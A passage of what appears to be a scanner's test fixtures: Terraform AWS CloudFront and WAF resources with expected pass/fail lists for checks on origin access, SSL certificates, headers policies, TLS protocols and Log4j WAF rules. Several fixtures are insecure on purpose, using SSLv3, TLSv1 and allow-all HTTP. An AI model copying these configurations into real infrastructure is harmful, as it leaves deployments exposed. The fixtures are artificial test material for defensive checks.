resource_group_name = azurerm_resource_group.pud-rg.name\n  location            = azurerm_resource_group.pud-rg.location\n  size                = \"Standard_F2\"\n  admin_username      = \"pud-admin\"\n  network_interface_ids = [\n    azurerm_network_interface.pass_int_4.id,\n  ]\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CLoudFrontS3OriginConfigWithOAI/expected.yaml",
    "content": "fail:\n  - \"aws_cloudfront_distribution.fail\"\npass:\n  - \"aws_cloudfront_distribution.pass_1\"\n  - \"aws_cloudfront_distribution.pass_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CLoudFrontS3OriginConfigWithOAI/main.tf",
    "content": "\nresource \"aws_s3_bucket\" \"b\" {\n  bucket = \"mybucket\"\n\n  tags = {\n    Name = \"My bucket\"\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"pass_1\" {\n  \n\n  origin {\n    domain_name = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_id   = \"failoverS3\"\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n    \n  }\n\n  \n\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n  web_acl_id = aws_wafv2_web_acl.example.arn\n}\n\nresource \"aws_cloudfront_distribution\" \"pass_2\" {\n  \n\n  origin {\n    domain_name = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_id   = \"failoverS3\"\n    origin_access_control_id = aws_cloudfront_origin_access_control.default.id\n    \n  }\n\n  \n\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n  web_acl_id = aws_wafv2_web_acl.example.arn\n}\n\nresource \"aws_cloudfront_distribution\" \"fail\" {\n  \n\n  origin {\n    domain_name = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_id   = \"failoverS3\"\n    \n  }\n\n  \n\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n  web_acl_id = aws_wafv2_web_acl.example.arn\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudFrontHasCustomSSLCertificate/expected.yaml",
    "content": "fail:\n  - \"aws_cloudfront_distribution.fail\"\npass:\n  - \"aws_cloudfront_distribution.pass_1\"\n  - \"aws_cloudfront_distribution.pass_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudFrontHasCustomSSLCertificate/main.tf",
    "content": "resource \"aws_cloudfront_distribution\" \"pass_1\" {\n\n  origin {\n    domain_name = aws_s3_bucket.primary.bucket_regional_domain_name\n    origin_id   = \"primaryS3\"\n\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n  }\n\n  default_cache_behavior {\n   target_origin_id = \"groupS3\"\n  }\n\n  viewer_certificate {\n    acm_certificate_arn = \"aaaaa\"\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"pass_2\" {\n\n  origin {\n    domain_name = aws_s3_bucket.primary.bucket_regional_domain_name\n    origin_id   = \"primaryS3\"\n\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n  }\n\n  default_cache_behavior {\n   target_origin_id = \"groupS3\"\n  }\n\n  viewer_certificate {\n    acm_certificate_arn = \"aaaaa\"\n    iam_certificate_id = \"adaffwqfwff\"\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"fail\" {\n\n  origin {\n    domain_name = aws_s3_bucket.primary.bucket_regional_domain_name\n    origin_id   = \"primaryS3\"\n\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n  }\n\n  default_cache_behavior {\n    target_origin_id = \"groupS3\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = \"test\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudFrontHasResponseHeadersPolicy/expected.yaml",
    "content": "fail:\n  - \"aws_cloudfront_distribution.no_response_headers_policy\"\npass:\n  - \"aws_cloudfront_distribution.pass\"\n  - \"aws_cloudfront_distribution.pass2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudFrontHasResponseHeadersPolicy/main.tf",
    "content": "# pass\n\nresource \"aws_cloudfront_distribution\" \"pass\" {\n  enabled = true\n\n  default_cache_behavior {\n    response_headers_policy_id = aws_cloudfront_response_headers_policy.pass.id\n  }\n}\n\nresource \"aws_cloudfront_response_headers_policy\" \"pass\" {\n  name    = \"test\"\n\n  security_headers_config {\n    content_security_policy {\n      content_security_policy = \"default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'; frame-ancestors 'none'\"\n      override = true\n    }\n    content_type_options {\n      override = true\n    }\n    frame_options {\n      frame_option = \"DENY\"\n      override = true\n    }\n    referrer_policy {\n      referrer_policy = \"same-origin\"\n      override = true\n    }\n    strict_transport_security {\n      access_control_max_age_sec = 31536000\n      include_subdomains         = true\n      override                   = true\n      preload                    = true\n    }\n    xss_protection {\n      mode_block = true\n      override   = true\n      protection = true\n    }\n  }\n}\n\n# fail\n\nresource \"aws_cloudfront_distribution\" \"no_response_headers_policy\" {\n  enabled = true\n}\n\ndata \"aws_cloudfront_response_headers_policy\" \"simple_cors\" {\n  name = \"SimpleCORS\"\n}\n\nresource \"aws_cloudfront_distribution\" \"pass2\" {\n  default_cache_behavior {\n    response_headers_policy_id = data.aws_cloudfront_response_headers_policy.simple_cors.id\n    allowed_methods            = []\n    cached_methods             = []\n    target_origin_id           = \"\"\n    viewer_protocol_policy     = \"\"\n  }\n  enabled = false\n  origin {\n    domain_name = \"\"\n    origin_id   = \"\"\n  }\n  restrictions {\n    geo_restriction {\n      restriction_type = \"\"\n    }\n  }\n  viewer_certificate {}\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudFrontUsesSecureProtocolsForHTTPS/expected.yaml",
    "content": "pass:\n  - \"aws_cloudfront_distribution.pass_1\"\n  - \"aws_cloudfront_distribution.pass_2\"\nfail:\n  - \"aws_cloudfront_distribution.fail_1\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudFrontUsesSecureProtocolsForHTTPS/main.tf",
    "content": "\nresource \"aws_cloudfront_distribution\" \"pass_1\" {\n  \n\n  origin {\n    domain_name = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_id   = \"failoverS3\"\n  \n    custom_origin_config {\n      origin_ssl_protocols = [\"TLSv1\"]\n    }\n    \n  }\n\n  \n\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n  web_acl_id = aws_wafv2_web_acl.example.arn\n}\n\nresource \"aws_cloudfront_distribution\" \"pass_2\" {\n  \n\n  origin {\n    domain_name = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_id   = \"failoverS3\"\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n    \n  }\n\n  \n\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n  web_acl_id = aws_wafv2_web_acl.example.arn\n}\n\nresource \"aws_cloudfront_distribution\" \"fail_1\" {\n  \n\n  origin {\n    domain_name = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_id   = \"failoverS3\"\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n    custom_origin_config {\n      origin_ssl_protocols = [\"SSLv3\"]\n    }\n    \n  }\n\n  origin {\n    domain_name = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_id   = \"failoverS3\"\n    s3_origin_config {\n      origin_access_identity = aws_cloudfront_origin_access_identity.default.cloudfront_access_identity_path\n    }\n    \n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  logging_config {\n    include_cookies = false\n    bucket          = \"mylogs.s3.amazonaws.com\"\n    prefix          = \"myprefix\"\n  }\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  # Cache behavior with precedence 1\n  ordered_cache_behavior {\n    path_pattern     = \"/content/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n  web_acl_id = aws_wafv2_web_acl.example.arn\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudFrontWebACLConfiguredWIthLog4jVulnerability/expected.yaml",
    "content": "fail:\n  - \"aws_cloudfront_distribution.fail_1\"\n  - \"aws_cloudfront_distribution.fail_2\"\n  - \"aws_cloudfront_distribution.fail_3\"\npass:\n  - \"aws_cloudfront_distribution.pass\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudFrontWebACLConfiguredWIthLog4jVulnerability/main.tf",
    "content": "\nresource \"aws_cloudfront_distribution\" \"pass\" {\n  origin {\n    domain_name              = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_access_control_id = aws_cloudfront_origin_access_control.default.id\n    origin_id                = local.s3_origin_id\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n  web_acl_id = aws_wafv2_web_acl.pass_acl.arn\n}\n\nresource \"aws_wafv2_web_acl\" \"pass_acl\" {\n  name        = \"managed-rule-example\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"rule-1\"\n    priority = 1\n\n    override_action {\n      count {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesAnonymousIpList\"\n        vendor_name = \"AWS\"\n\n        excluded_rule {\n          name = \"SizeRestrictions_QUERYSTRING\"\n        }\n\n        scope_down_statement {\n          geo_match_statement {\n            country_codes = [\"US\", \"NL\"]\n          }\n        }\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  rule {\n    name     = \"rule-2\"\n    priority = 2\n\n    override_action {\n      count {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesKnownBadInputsRuleSet\"\n        vendor_name = \"AWS\"\n\n        excluded_rule {\n          name = \"SizeRestrictions_QUERYSTRING\"\n        }\n\n        scope_down_statement {\n          geo_match_statement {\n            country_codes = [\"US\", \"NL\"]\n          }\n        }\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"fail_1\" {\n  origin {\n    domain_name              = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_access_control_id = aws_cloudfront_origin_access_control.default.id\n    origin_id                = local.s3_origin_id\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"fail_2\" {\n  origin {\n    domain_name              = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_access_control_id = aws_cloudfront_origin_access_control.default.id\n    origin_id                = local.s3_origin_id\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n  web_acl_id = aws_wafv2_web_acl.fail_2_acl.arn\n}\n\nresource \"aws_wafv2_web_acl\" \"fail_2_acl\" {\n  name        = \"managed-rule-example\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"rule-1\"\n    priority = 1\n\n    override_action {\n      count {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesAnonymousIpList\"\n        vendor_name = \"AWS\"\n\n        excluded_rule {\n          name = \"SizeRestrictions_QUERYSTRING\"\n        }\n\n        scope_down_statement {\n          geo_match_statement {\n            country_codes = [\"US\", \"NL\"]\n          }\n        }\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}\n\nresource \"aws_cloudfront_distribution\" \"fail_3\" {\n  origin {\n    domain_name              = aws_s3_bucket.b.bucket_regional_domain_name\n    origin_access_control_id = aws_cloudfront_origin_access_control.default.id\n    origin_id                = local.s3_origin_id\n  }\n\n  enabled             = true\n  is_ipv6_enabled     = true\n  comment             = \"Some comment\"\n  default_root_object = \"index.html\"\n\n  aliases = [\"mysite.example.com\", \"yoursite.example.com\"]\n\n  default_cache_behavior {\n    allowed_methods  = [\"DELETE\", \"GET\", \"HEAD\", \"OPTIONS\", \"PATCH\", \"POST\", \"PUT\"]\n    cached_methods   = [\"GET\", \"HEAD\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n    